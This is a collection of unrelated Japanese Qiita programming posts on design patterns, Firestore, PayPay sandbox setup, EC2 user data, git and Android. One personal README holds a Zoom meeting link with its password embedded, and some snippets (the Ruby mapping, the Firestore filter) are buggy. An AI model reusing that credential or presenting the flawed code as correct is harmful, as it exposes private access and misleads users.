OmniAICreator/Qiita-1.07M huggingface dataset:
Prototype Pattern

#Prototype Pattern
<font color="#00f">インスタンスをコピーして使う
</font>

このページでは
・Prototype Patternの確認
・Mapコレクションにインスタンスを格納して使う
について記載します

[Design Pattarm MENU](https://qiita.com/old_cat/items/852d980bedb9100dd7e3)

##Prototype Patternの確認
以下のクラス構成で確認します

|クラス|説明|
|-----|----|
|samPrototype.class|自分の複製を作るメソッドを持つ|
|user(Main.class)|動作を確認|
＊user　他の開発者がこのパターンを利用する、という意味合いを含みます

clone()メソッドを使う場合には、java.lang.Cloneableインターフェイスを実装します

それでは確認します

```java:samPrototype.class
class samPrototype implements Cloneable{         // java.lang.Cloneableを実装する
  void todo(){System.out.println("prototype");}
  
  samPrototype getClone(){
    samPrototype pro = null;
    try{pro=(samPrototype) clone();              // clone()を実行し、自身のコピーを作る
    }catch(Exception e){}
    return pro;
  }
}
```
```java:user(Main.class)
public static void main(String[] args){
  samPrototype pr = new samPrototype();
  pr.getClone().todo();
}}
```

##Mapコレクションにインスタンスを格納して使う
Prototype Patternは、事前に複数のインスタンスを登録しておき
必要に応じてclone()を実行する利用法があります

以下の構成で実装します

|クラス名|説明|
|-------|----|
|prototype.interface|Cloneableを実装し、clone()メソッドを定義する|
|prototypeImple.class|prototype.interfaceを実装してclone()メソッドを実装します|
|prototypeManager.class|prototypeを実装したクラスインスタンスをコレクションに保持<br>prototype型にあるclone()メソッドを利用してインスタンスを発行する|
|user(Main.class)|動作を確認します|

ではクラスを作ります

```java:prototype.interface
interface prototype extends Cloneable{
  void todo();
  prototype exeClone();
}
```
```java:prototypeImple.class
class prototypeImple implements prototype{
  String name;
  prototypeImple(String name){this.name=name;}

  public void todo(){System.out.println(name);}

  public prototype exeClone(){
      prototype pro = null;
      try{pro = (prototype) clone();}catch(Exception e){}
      return pro;
  }
}
```
```java:usr(Main.class)
public static void main(String[] args){
  prototypeManager pm = new prototypeManager();
  pm.set(0, new prototypeImple("A"));
  pm.set(1, new prototypeImple("B"));
  prototype p1 = pm.getClone(0);
  prototype p2 = pm.getClone(1);
  p1.todo();
  p2.todo();
}}
```
自己紹介 固定用

##はじめに

そもそもQiitaに投稿するというのが初めてなので、至らない点もあるかとは思いますが何卒。


###私について

高専を卒業後、都内のデータセンター管理企業に勤務。その後、元々興味のあったITインフラまわりの仕事に携わりたいと考え転職し今に至ります。

現在はオンプレ中心でサーバーまわりを少しずつ触らせてもらってます。お客さんのところにサーバー1台抱きかかえて直接持っていくなんてこともあったりなかったり。初期化ボタンが壊れてるルーターのIP設定ミスって作業が深夜までもつれるとか、物理作業(サーバー重い)と現地のスパゲティ配線をかいくぐるのが辛いところではありますが、そんなんでもどこかのシステムは回ってるんだな～と、インフラの面白さを実感している最中です。

主な所持資格は電気工事士1種・2種、ITパスポート、CCNA、LPICレベル1など。他にも細々としたものはあるんですが、書いても文字数稼ぎにしかならないのでやめます。

インフラに携わってるとやっぱり電源系統とかを少し考えたりしないといけない場合があって(作業自体は別の業者さんだけど)、UPSとか冗長化とか、あとは単に手先の動かし方？(たまに配線をいじったりすることもある)について体系的に学べたので、前の会社に在籍していた時に電気工事士は取っておいて良かったなと思ってます。

###今後何をしたいか

当面はAWS認定ソリューションアーキテクトアソシエイトの取得を目標に勉強します。

一時期「インフラはこれから全部クラウドだ」などと話題になりましたが、現場でお客さんと話をしたりする限り暫くはそうならなさそうですし、自分もまだまだインフラについての基礎的な知識が不足しているので、その辺りを現場＆自学で補完しつつ、シェアを拡大しているクラウド、中でもAWSのサービスについて学んでいこうかなといったところです。

キャリアプラン的にも、最終的にはクラウド方面に進みたいなと考えてます。

オンプレ・クラウド・その他問わず、現場でどんなツールが使われてて、どういう知識を持っておくと良いなど、何でも構いませんので良かったら教えてください。
Processingでエラーを投げたいときどうするか？

## やりたいこと
- 引数として好ましくないものが与えられたときプログラムを終了させたい
    - `return;`などでプログラムを終わらせるのではなく、
    - 明示的にエラーを返し終了させたい

## 環境
- LinuxMint 20
- Processing 3.5.4

## サンプルコード
たとえば次のようなBallクラスを考える。
コンストラクタに与えられる引数`_radius`によって描画されるボールの半径が決まる仕組みになっている。

### Before
```java:ball.pde
class Ball {
	float radius;
	Ball(float _radius) {
		radius = _radius;
	}

	public void draw() {
		fill(0, 255, 0);
		ellipse(mouseX, mouseY, radius, radius);
	}
}
```

おおまかにはこれで構わないかもしれないが、もし誤って引数`_radius`に0やマイナスの値が代入された場合、Processingがどのような挙動を示すかわからない。  
そこで、引数に正でない数が入力された場合エラーを吐くように書き換えておくことにする。


### After
```java:ball.pde
import java.lang.*;

class Ball {
	float radius;
	Ball(float _radius) throws IllegalArgumentException {
		if (_radius > 0) {
			radius = _radius;
		} else {
			throw new IllegalArgumentException("【エラー】半径は正でなければなりません！");
		}
	}

	public void draw() {
		fill(0, 255, 0);
		ellipse(mouseX, mouseY, radius, radius);
	}
}
```

## ポイント
1. 関数名のあとに`throws IllegalArgumentException`を付ける[^1]
2. エラーの投げ方は、`throw new IllegalArgumentException(/*エラーメッセージ*/);`
3. Javaの機能を用いているので、`import java.lang.*;`を忘れずに

[^1]: throwではなくthrowsであることに注意

## 参考
[How can I throw exception from my code? - Processing 2.x and 3.x Forum](https://forum.processing.org/two/discussion/7312/#Comment_26650)
アルファベットで何番目かを数字で表示させる問題(Ruby編)

#アルファベットで何番目(Ruby編)
#結論無理やり解いたものの、テストでエラーが続出しました。分かる方いらっしゃいましたらご教授頂けると幸いです😢
#問題
ABCDEFGHIJKLMNOPQRSTUVWXYZ
A を 1番目としてアルファベット順で何番目かを出力して下さい。

例えば
C
のような入力の場合

3
と出力して下さい。
#入力される値
入力は以下のフォーマットで入力されます。

s
#期待する出力
入力された半角英字大文字が A を1番目としてアルファベット順で何番目かを出力して下さい。
#入力例1
C
#出力例1
3
#入力例2
L
#出力例2
12
#私の答え(数字の正規表現がうまくいかずできませんでした)
```java:
alp = gets
print alp.gsub(/[A-Z]/, /[1-99]/)
```
```java:無理やり当てはめたver
alp = gets
print alp.tr("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "123456789101112131415161718191020212223242526")
```
#今回の場合の正規表現がわからない事と、そもそももっと便利なメソッドがあるのか。分かる方いらっしゃいましたらお教え頂けますと幸いです。
#以上！
以前から作ってるソフトで…

高校時代のとある時期…土地区画整理見たいな計画図をずーっと夜
模索しながら絵にしていた。

ずーっとあーでもないこうでもないと、模索を続けていた。

例えば、ここに学校を作って…とか？
養豚場を作って自給自足の村を作ろうとか…。

それで、僕は行き詰った。

いくら、良い街を設計しても、情報処理の部分がしっかりしないと
都市はまとまらないってことに…。

しかも、情報の共有が徹底されれば
あえて街をうまく設計しなくても、ある程度
都市はうまく回っていくなぁと…。

問題は、情報共有の部分だなぁ…。

それ以来、４３歳になった今迄、それが心の中でどういう
形のソフトウェアになるのかっていうのを、考え続けていた。

僕は結局、これを作るべきだろうなー！！って思ってたけど
手を付け始めた頃…！？

なんと今世紀最大か！？っていうような人類的危機の
コロナウィルスによるパンデミック…。

言わんこっちゃない…。

僕は今まで頭の中でずーっと考えていた、情報共有というものが
いわば世界的に、重要視されるという事態になっていく事実を
目の当たりにしていた。

リモートアプリ、ユーチューブ、ツイッター…。

あらゆる、情報共有ソフトウェアがなくてはならない状態になった。

だから言わんこっちゃないと思って僕は、
急いで企画を形にしないといけないと自分を戒めていた…。
HMS Push Kit対応及びサーバー側修正イメージ

##Push Kit対応及びサーバー側修正イメージ
![1.GIF](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/677521/ba1d9c54-1b4b-9b9d-0228-7de675c3a734.gif)
![2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/677521/1ca0936d-29a4-0a10-420d-2fe654f91e27.png)
![3.GIF](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/677521/38ec4757-1326-d3c1-cf62-39dd37751f9c.gif)
VeeValidateを使ったらスタイルが崩れた話し


VeeValidateでValidationProviderを使った時にスタイルが崩れることがあった。

例えばこのように書いた時に

```
<ValidationProvider name="メッセージ" rules="required">
  <input type="text" v-model="message">
</ValidationProvider>
```

レンダリングされるHTMLの中に

```
<span>
  <input type="text">
</span>
```

謎のspanタグが追加されてしまいスタイルが崩れてしまった。

```
<ValidationProvider name="メッセージ" rules="required" slim>
  <input type="text" v-model="message">
</ValidationProvider>
```

こうすることで

```
<input type="text">
```

レンダーレスを強制することができる

<ValidationProvider>タグの中に`slim`を追加することで解消した。

ちなみに`tag="div"`などを追加することで、divタグでレンダリングすることもできる
firestoreのクエリで特定のフィールドがないものを指定したい

# やりたいこと
firestoreのqueryで特定のfieldが存在しないdocumentを持ってきたい。

```sample1.ts
// やりたいことのイメージ
const cities: QuerySnapshot = firebase.firestore().collection("cities")
    .where("specificField","==","does not exist") // ここで特定のfieldが存在しないものだけを持ってきたい
    .get();
```


# 環境
JSのclient SDK v8.0.1

# 前提
firestoreのqueryは次のように使うことができる。

``` sample2.ts

// citiesというcollectionへの参照を取得
const citiesRef: CollectionReference = firebase.firestore().collection("cities");

// cities(collection)のなかに以下の5つのdocumentをセット
citiesRef.doc("SF").set({name: "San Francisco", state: "CA"});
citiesRef.doc("LA").set({name: "Seattle"      , state: "WA"});
citiesRef.doc("DC").set({name: "Houston"      , state: "TX"});
citiesRef.doc("TK").set({name: "Tokyo"        , state: null});
citiesRef.doc("BJ").set({name: "Beijing"                   });


// クエリの例

const query1: Query = citiesRef.where("state", "==", "CA");
// stateがCAのもの
// result：SF

const query2: Query = citiesRef.where("state", "==", null);
// stateがnullのもの
// result : TK

const query3: Query = citiesRef.where("state", ">", "");
// stateに値が入っているもの
// result : SF, LA, DC
```
`where`はfieldの有無で条件指定できないため、この例では`BJ`だけを持ってくるということはできない。`sample1.ts`のような形では実現できない。

# 解決策
クエリの段階ではfieldがないものだけを選択するということができないので、get()したあとの配列で処理を行う。

```sample3.js
const citiesSnapshot: QuerySnapshot = firebase.firestore().collection("cities").get();
const cities = citiesSnapshot.doc.filter((doc) => !doc.data().hasOwnProperty("state"));
// stateというfieldが存在しないもの
// result: BJ
```

# 参考
[Cloud Firestore で単純なクエリと複合クエリを実行する](https://firebase.google.com/docs/firestore/query-data/queries?hl=ja)

[ついにFirestoreに != クエリが来たので検証してみた
](https://qiita.com/_mogaming/items/3b94d123b6774842f18a)
PayPay決済体験ハンズオン

2020年10月26日に[PayPay for Developers](https://about.paypay.ne.jp/pr/20201026/01/)にてミニアプリAPIがリリースされました。
ミニアプリAPIは加盟店登録しないと利用できませんが、その中にある決済処理のAPIを使って、独自サイトに決済処理を実装することができます。本ハンズオンでは、PayPayで簡単な決済処理を作って体験できます。

# 事前準備
* Node.js環境構築
* Git
* VSCodeインストール
* PayPayアプリインストール

GitHubから環境をダウンロードしましょう。

```shell
$ cd ~/Documents
$ git clone https://github.com/gaomar/paypay-hands-on.git
$ code paypay-hands-on
```

# オンラインハンズオン資料
自PCの環境を汚したくない方は、下記URLよりお試しください。
https://katacoda.com/gaomar/scenarios/paypay-handson-playground

# 1. PayPayサンドボックス環境設定

## 1-1. PayPay for Developersアカウント新規登録
下記URLにアクセスして新規アカウント作成をしてください。

[https://miniapps.paypay.ne.jp/account/signup](https://miniapps.paypay.ne.jp/account/signup)

![s100](https://raw.githubusercontent.com/gaomar/katacoda-scenarios/master/paypay-handson-playground/images/s100.png)

## 1-2. APIキーをメモする
ログイン後のホーム画面にAPIキーが表示されているので、 `APIキー` と `シークレットキー` をそれぞれメモしておきましょう。右上のアカウント部分にマウスカーソルを当てると `MERCHANT ID` が表示されるのでそれもメモしておきます。

![s101](https://raw.githubusercontent.com/gaomar/katacoda-scenarios/master/paypay-handson-playground/images/s101.png)

# 2. プログラムを実行する

## 2-1. ngrokでURLを発行する
ターミナル２つ起動して下記コマンドを実行します。 `8080` ポートと `9000` ポートを開放します。
発行された `https` 側のURLをメモしておきます。

```shell:8080ポート
$ ngrok http 8080 --region jp
```

```shell:9000ポート
$ ngrok http 9000 --region jp
```

## 2-2. envファイルを編集する
`.env` ファイルを開いてください。下記項目を埋めていきます。

|項目|値|
|:--|:--|
|VUE_APP_API_KEY| ステップ1で取得したAPIキー |
|VUE_APP_API_SECRET| ステップ1で取得したシークレットキー|
|VUE_APP_MERCHANTID|ステップ1で取得したMERCHANT ID|
|VUE_APP_HOST_NAME| `https://xxxxxxxxxxxx.jp.ngrok.io` <br>※末尾の 「/」 は要りません|
|VUE_APP_PAYPAY_FUNCTIONS_URL| `https://xxxxxxxxxxxx.jp.ngrok.io/.netlify/functions/pay`|

![s200.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/154355/07531833-5e6a-2e2b-3557-77fbd0ca7cd6.png)

### 2-3. プログラムを実行する
VSCodeのターミナルを分割して、下記コマンドをそれぞれ実行してください。

■ ①インストール

```shell
$ npm install
```

■ ②サイトを起動

```shell
$ npm run serve
```

■ ③ファンクション起動

```shell
$ npm run lambda
```

![s201.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/154355/b24956d8-f92a-d3ce-d4e3-a13896920080.png)

### 2-4. PayPayテストアカウント
サンドボックス環境ではテストアカウントを使います。PayPayアプリを開いて、ログインページの左上にあるPayPayのロゴマークを `7回` タップしてください。
すると、下から `開発者モードでログイン` というボタンが表示されます。

![s201](https://raw.githubusercontent.com/gaomar/katacoda-scenarios/master/paypay-handson-playground/images/s201.png)

テストアカウントはPayPay for Developersページの `テストユーザー` からお好きなアカウントでログイしてください。

![s202](https://raw.githubusercontent.com/gaomar/katacoda-scenarios/master/paypay-handson-playground/images/s202.png)

### 2-4. 動作確認
ngrok 8080ポートで発行URLにアクセスしてください。

`https://xxxxxxxxxxxx.jp.ngrok.io`

PayPayのロゴをクリックして、表示されたQRコードをPayPayアプリでスキャンして決済してみてください。

（※実際にはお金は減りませんのでご安心ください）

![s203](https://raw.githubusercontent.com/gaomar/katacoda-scenarios/master/paypay-handson-playground/images/s203.png)
README.org

\![Mac OS X-10.15.7](<https://img.shields.io/badge/MacOSX-10.15.7-brightgreen>) \![ruby-2.7.1p83](<https://img.shields.io/badge/ruby-2.7.1p83-brightgreen>) 


# Lecture<span class="timestamp-wrapper"><span class="timestamp">&lt;2020-11-25 Wed&gt;</span></span>

1.  [Lecture\_No.5](https://qiita.com/NobuakiMori/private/27908033e3888bc814e2)
2.  [Lecture\_No.6](https://qiita.com/NobuakiMori/private/3b309598d88a683dbff4)
3.  [Lecture\_No.7](https://qiita.com/NobuakiMori/private/b0a80be1de3cd4823c58)
4.  [Lecture\_No.9](https://qiita.com/NobuakiMori/private/6ba4a4d897517b7122b7)
5.  [Lecture\_No.10](https://qiita.com/NobuakiMori/private/bbbedeadd10071763147)
6.  [Lecture\_No.11](https://qiita.com/NobuakiMori/items/9f9e98f3ad5690d0e5ed)


# equation<span class="timestamp-wrapper"><span class="timestamp">&lt;2020-11-11 Wed&gt;</span></span>

$$\frac{1}{4}$$


# qiita\_links<span class="timestamp-wrapper"><span class="timestamp">&lt;2020-10-26 Mon&gt;</span></span>

1.  [README.org](https://qiita.com/NobuakiMori/private/d5b9cdee6cc667fa6bde)
2.  [Roman\_numerals](https://qiita.com/NobuakiMori/private/c491be1f9a89fe7c7452)
3.  [Google\_recruit](https://qiita.com/NobuakiMori/private/01e29777f2173e19cb78)


# Other\_links<span class="timestamp-wrapper"><span class="timestamp">&lt;2020-11-25 Wed&gt;</span></span>

1.  [zoom\_link](https://zoom.us/j/96919760597?pwd=dURyMklGQXRNTEdIaGRZMTc3d2F2UT09)
2.  [Ruby\_regular\_expression\_editor](https://rubular.com/)



------
 - **source** ~/grad_members_20f/members/NobuakiMori/README.org
AWSのEC2にユーザーデータで再起動時シェル実行スクリプト作成

##初めに

Amazon EC2でインスタンス起動する時、起動後にそのインスタンスにユーザーデータを渡し、一般的な自動設定タスクを実行したり、スクリプトを実行したりできます。


下のスクリプト例では、スクリプトがウェブサーバーを作成し、設定します。

```:サンプルコード
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="<任意ファイル名>.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="<任意ファイル名>.txt"

#!/bin/bash
yum update -y
amazon-linux-extras install -y lamp-mariadb10.2-php7.2 php7.2
yum install -y httpd mariadb-server
systemctl start httpd
systemctl enable httpd
usermod -a -G apache ec2-user
chown -R ec2-user:apache /var/www
chmod 2775 /var/www
find /var/www -type d -exec chmod 2775 {} \;
find /var/www -type f -exec chmod 0664 {} \;
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
```

参考URL: [AWS公式サイト](https://aws.amazon.com/jp/premiumsupport/knowledge-center/execute-user-data-ec2/)


EC2 インスタンスを再度起動し、スクリプトが正しく実行されていることを検証します。
For文を使ったJavaScriptで各桁の和を求める

#JavaScriptで各桁の和を求めてみる

Javascript初心者向けの記事です。
調べてもあまりコードが出てこないのと、自分へのメモ書きとして記事にまとめました。

**具体的な処理内容**
「各桁の和を求める」という処理を例を用いて説明します。

例えば、「12345」という整数があります。
この各桁の和、つまりこの場合は1+2+3+4+5=15を求める処理になります。

`12345`という整数を入力したとして、`15`という出力をさせたいわけです。
***

**必要な処理**
この処理を行うにあたり、必要な処理をまずは分解してみます。

**1.入力した整数を文字列**(String型)**に変換する**
整数型の場合、12345で一つの整数とされるため、「各桁」という概念がありません。そこで、まずは整数を文字列(String型)に変換します。

**2.「各桁」を「文字列のi番目」という形で一つずつ取り出す**

文字列(String型)に変換することで、文字列の0番目=1となり、例えば`data[0]`で1のみを取り出すことができるようになります。
(data、には文字列を定義した変数が入ります)

**3.取り出した「文字列のi番目」を整数に変換**

また整数型に戻します。文字列から`data[0]`で取り出した「1」は文字(String型)です。

そのため、例えば`data[0] + data[1]`とそのまま書いてしまうと、`12`が出力されます。文字(String型)を+すると、そのまま繋げてしまうのです。

今回は和、つまり計算結果を出力させたいので、一度整数に戻す必要があるのです。

**4.変換した「文字列のi番目」を足していく**

整数型に戻した後、+することで和となります。

***
**処理をコードで表現してみる**
上で整理した処理内容を元に、コードを書いてみます。
筆者もJS初心者なので、難しいコードではありません。

〜登場人物紹介〜
allsum：ファンクションの名前です。allsum(入力)で実行可能。
num：各桁の和を求めたい整数をいれる変数です。上の例に従うなら、12345を入れます。
sum:各桁の和を表す変数です。最初は0ですが、各桁をどんどん取り出し、この変数に加算していく形で、「各桁の和」とします。


```matlab
function allsum(num){

    //String型に変換
    num = num.toString();

    //各桁の和を表す変数sumを定義
    let sum = 0;

    //文字列のi番目を取り出し、sumに足していく
    for(let i=0; i < num.length; i++){
    sum = sum + parseInt(num[i])
  }
  return parseInt(sum);
}
```

このようになります。

for文を回す際、`i < num.length`がポイントです。
iは0から数えますが、num.lengthは1から数えます。

つまり、12345の場合、num[0]〜num[4]で1〜５を取り出しますが、num.lengthは単純に5となります。

そのため、`i <= num.length`と記述してしまうと、num[5]も取り出して和に加えようとします。しかし、num[5]は存在しないので、計算結果はNaNとなってしまうのです(1敗)。

***
**実際の出力**
allsumという名前のファンクションを定義しています。
このallsumに整数を入力すると、各桁の和が出力されてリターンされます。

`console.log(allsum(12345));
15`
Git remoteに上がってるプロジェクトをpullしたい

### すでにgitに上がってるプロジェクトをローカルに持ってきたい

今のご時世sourcetreeや便利な管理ツールが多く存在してる中コマンドでgit initからgit pullまでやる方法をまとめたいと思います・・・！

- 事前準備
 - 中身空っぽのディレクトリ作るだけ

#### それではHands On

step.1

```
$ git init
```

step.2

```
$ git remote add origin git@ghe.hogehoge:username/project-name.git

解説↓
$ git remote add <好きな名前> <remoteのssh>
```
どんなことをしているかというと
`<好きな名前>` のところでつけた変数の中に `<remoteのssh>` の値が入るイメージ
ここでいうと**origin**の中に`git@ghe.hogehoge:username/repository-name.git`が入った感じです

step.3

```
$ git pull origin master

解説↓
$ git pull origin <pullしたいブランチ名>
```

こうすれば最新のソースを持ってくることができる
`pullしたいブランチ名` でローカルにブランチができる
ハンドトラッキングとテキスト検出のリアルタイムメモ

**似ている：Just Point It**
https://heartbeat.fritz.ai/just-point-it-machine-learning-on-ios-with-pose-estimation-ocr-using-core-ml-and-ml-kit-b613666560ed

**FingertipEstimation-CoreML**
https://github.com/tucan9389/FingertipEstimation-CoreML


**ハンドトラッキング**
https://ai.googleblog.com/2019/08/on-device-real-time-hand-tracking-with.html
https://google.github.io/mediapipe/solutions/hands


**Awesome Hand Pose Estimation**
https://github.com/xinghaochen/awesome-hand-pose-estimation

**テキスト検出**
https://github.com/argman/EAST

**tesseract.js(OCR)**
https://github.com/naptha/tesseract.js#tesseractjs

**グーグルクラウドのOCR**
https://cloud.google.com/vision/docs/ocr

**mediapipe on web**
https://developers.googleblog.com/2020/01/mediapipe-on-web.html

**webassemblyとwebglとjavascriptでTensorflow.jsの効率**
https://blog.tensorflow.org/2020/03/introducing-webassembly-backend-for-tensorflow-js.html
非エンジニアがフロントエンドを目指してみるテスト

# 非エンジニアがフロントエンドを目指してみるテスト 1
記事にすることで自分の逃げ道をなくすのじゃ。


## 突然なんでよ？
- GASといちゃいちゃしてたらjsもっと知りたくなってしまった。
- HTML、CSSかけても業務でほぼ役に立てなくてしょんもり。
- わしは変態なので。

## それで？
- 先輩兼上司のAnguler先生にピーピーわめき続けてたら教えてくれることになったぞい！
- コード書いたらレビューもしてもらえることになった(神か)
- エントリ書くことで自分がサボれなくする

## まなんだこと
### バックエンドとフロントエンドの違い
バックエンド：サーバー側、ユーザーからは見えないけど大事な部分
フロントエンド：画面側、アプリも含む表示されて見えてる世界を作る

### フロントエンドで使う言語
HTML、CSS、JavaScript
JavaScriptにはAjaxという非同期通信があるらしい
参考：https://qiita.com/hisamura333/items/e3ea6ae549eb09b7efb9

## あんごうのむれがあらわれた！
### 数略語(ヌメロニム)というらしい
a11y - Accessibility（利用しやすさ）
c14n - Canonicalization（正準，正規化）
d11n - Documentation（文書化）
G11n - Globalisation / Globalization（世界化）
i18n - Internationalisation / Internationalization（国際化）
i14y - Interoperability（相互運用性）
K8s - Kubernetes
L10n - Localisation / Localization（地域化）
m17n - Multilingualisation / Multilingualization（多言語化）
n11n - Normalisation / Normalization（正規化）
P13n - Personalisation / Personalization（個人化）
P45 - Pneumonoultramicroscopicsilicovolcanoconiosis
tr8n - Translation（翻訳）
v12n - Virtualisation / Virtualization（仮想化）
D34n - Demand response based resource provision
参考：https://ja.wikipedia.org/wiki/%E3%83%8C%E3%83%A1%E3%83%AD%E3%83%8B%E3%83%A0
いや、P45長すぎでしょ。読み方すらわからんぞ…。

## 参考資料
### JS/TSのリファレンス
どれも超絶親切すぎて泣く

**JavaScript Primer - 迷わないための入門書**
https://jsprimer.net/
**TypeScript Deep Dive 日本語版**
https://typescript-jp.gitbook.io/deep-dive/
**仕事ですぐに使えるTypeScript**
https://future-architect.github.io/typescript-guide/index.html


## おまけ
Angulerを脳内でAnglerとtypoしていて、
ずっとアングラー先生とか、釣り人先生とか意味不明なあだ名で呼んでいた。
きっと呼ばれるたびに何言ってんだコイツ？と思っていたに違いない。
そして大好きな言語を読み間違えられてて怒らないの菩薩すぎる。
（わしなら多分キレる）

まだまだ沢山教えてもらったけれどここではいったんこれまで。
そう、まだまだつづくのじゃ。
【超初心者向け】Githubに新しいブランチを作成しプッシュする

お恥ずかしながら最近プログラミング経験半年ほどになったのにも関わらず、Github の既存リポジトリに新しくブランチを切って commit, push をする方法を毎回のように調べているのでまとめておきます。

自分のような状況の方はぜひご利用ください。

## 前提条件

・push 予定の Github のリポジトリはすでに作成済みである
・お使いのシェルに Github アカウントが紐づいている

## 作業

これはやらなくても良いのかもしれないがとりあえずやった

```
$ git init
```

お使いのリポジトリを反映させる

```
$ git remote add origin <お使いのリポジトリ>
```

ブランチを作成し、同時にそのブランチに移る

```
$ git checkout -b <新規に作るブランチ名>
```

心配だったら現在のブランチを確認

```
$ git branch
```

ファイルを追加

```
$ git add .
```

コミットする

```
$ git commit -m 'first commit'
```

プッシュする

```
$ git push --set-upstream origin <さっき作ったブランチ名>
```



__end__
VSCodeのCMakeToolsでコンパイラが検出されないとき

# 概要

VSCodeのCMake Toolsでコンパイラを選ぼうとしたときに特定のコンパイラが検出されず、選択できない場合がある。

# 解決法

`~/.local/share/CMakeTools/cmake-tools-kits.json`（環境によって違うかもしれない）に、以下を追記

```json:例
[
    // ここから
    {
        "name": "Clang 11",              // Toolkit選択時に出てくる名前
        "compilers": {
            "C": "/usr/bin/clang-11",    // Cコンパイラへのパス
            "CXX": "/usr/bin/clang++-11" // C++コンパイラへのパス
        }
    },
    // ここまで

    // 以下はもともとあった部分
    {
        "name": "Clang 10.0.0",
        "compilers": {
            "C": "/bin/clang-10",
            "CXX": "/bin/clang++-10"
        }
    },
    // 以下略
]
```
Railsでbuildしたnew_recordなオブジェクトを削除する方法

# 親モデル.子モデル達.destroy(子モデル)

```rb

customer = Customer.new
customer.contatcs.build(name: '1')
customer.contatcs.build(name: '2')
customer.contatcs.build(name: '3')
customer.contatcs.build(name: '4')

name が 2　のものを消したいときは、

target = customer.contatcs.second
customer.contatcs.destroy(target)

とすれば消せる。
```
Utilities.formatDate　年末の日付がおかしい？？

spreadsheet のスクリプトエディタで簡単なスクリプトを動かしていたのですがどうも年末の日付がおかしい。。。
なぜか2021になっている。

Utilities.formatDate(val,"JST", "YYY-MM-dd");

デバッグしてもvalにはちゃんと2020年で入っているが、Utilities.formatDate変換メソッドで2021-12-27になってしまう。12/26までは正しく2020に変換されるのでかなり謎。。

タイムスタンプとかフォーマット書式をいじっているとなぜか小文字のyyyyだと正しく変換できる。

これはgoogleのバグだな？？と思ったのですが、仕様を確認してもそもそもYYYY自体は存在しなく単なるローカルルール的なものみたいです。

ですので正しいフォーマット小文字のyyyyで指定しましょう。

というオチです。（ネット上の記載に大文字のYYYYが多いこと、多いこと、という言い訳。。。）
vue.jsの instance mode でp5.jsを動かす（メモ）

p5.jsをvue.jsで動かすのに苦労したのでメモ。

#ポイント
・クラスを実行

```javascript:
  var myp5 = new p5(s);
```
・クラスを定義

```javascript:
  const s = function (p5) {
    // 処理
  }
```

#サンプル
```html:.html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>p5.js vue TEST</title>
  </head>
  <body>
    <h1>p5.js vue TEST</h1>

    <!-- このapp内のみVue.jsの管理範囲です -->
    <div id="app">
    </div>

    <!-- CDNの読込み -->
    <script src="https://cdn.jsdelivr.net/npm/p5@0.10.2/lib/p5.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>

    <script>
      const app = new Vue({
        el: '#app',
        data: {
          // 関数があればここに',
        },

        async mounted() {
            // インスタンスモード
            const s = function (p5) {
                // 最初に一回実行される
                p5.setup = _ => {
                    p5.createCanvas(600,425);  // キャンバスを作成
                    p5.background(255);        // 背景色
                    p5.noStroke();             // 図形の線無し
                    console.log("load");
                }
                // 1フレーム（1/60秒）ごとに実行される
                p5.draw = _ => {
                    // オブジェクトの色をランダム（透明度70）
                    p5.fill(p5.random(255),p5.random(255),p5.random(255),70);
                    // キャンバスにランダムの丸を描画
                    p5.ellipse(p5.random(600),p5.random(425),p5.random(100));
                }
            }
            // インスタンスモードとしてp5クラスを実行
            var myp5 = new p5(s); 
        },
      });
    </script>
  </body>
</html>
```

#参考URL
[Vue.jsでp5.jsを使ってみる -Qiita](https://qiita.com/mitsuya_bauhaus/items/b6f3d1aec07a9e07bb3a)
[jsのimportとrequireの違い -Qiita](https://qiita.com/minato-naka/items/39ecc285d1e37226a283)
[モジュール化(importとrequireの違い)](https://www.wakuwakubank.com/posts/466-javascript-module-import-export/)
[p5.js を instance mode で使う -Qiita](https://qiita.com/turusuke/items/c92a13602523d6378cc0)
［Android］Coil で Gif を表示してみる

# はじめに

Coil では Gif 画像をサポートしており、Gif 画像を表示できるようになっています。
今回は実際にどのような感じで使えるのか試してみたいと思います。

# 準備

Gif 画像を表示するには Gif モジュールを依存関係に追加する必要があります。
次のように build.gradle に追記して Gif モジュールを依存関係として追加します。

```groovy
dependencies {
      ︙
    implementation "io.coil-kt:coil:1.0.0"
    implementation "io.coil-kt:coil-gif:1.0.0"
      ︙
}
```

# 実装

## raw フォルダに Gif 画像を格納する

表示する Gif 画像は raw フォルダに格納します。
なので次のように raw フォルダを作成して Gif 画像を格納しておきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/239af26e-9ba1-a670-d343-9865a2dc704c.png)

## raw フォルダから動画ファイルを読み込む

Gif 画像を読み込むために raw フォルダに格納したファイルの URI を作成してやります。

```kotlin
    private fun getGifUri(@RawRes rawResId: Int): Uri? {
        return Uri.parse("android.resource://$packageName/$rawResId")
    }
```

あとは Gif 画像を読み込むための ImageLoader を作成してやります。

```kotlin
    // Coil公式にも記載があるのですが SDK 28 以上であれば ImageDecoderDecoder というデコーダが Android で
    // 提供されているらしくこちらを使うのが早いそうです。なので SDK 28 以上であれば ImageDecoderDecoder を
    // そうでなければ GifDecoder を使うようにしてやります。
    private fun getGifDecoder(): Decoder {
        return if (Build.VERSION.SDK_INT >= 28) ImageDecoderDecoder() else GifDecoder()
    }
```

あとは生成した URI と ImageDecoder を使って load を呼び出してやれば次のような感じで Gif 画像を表示できます。

```kotlin
   override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        val uri = getGifUri(R.raw.circle)
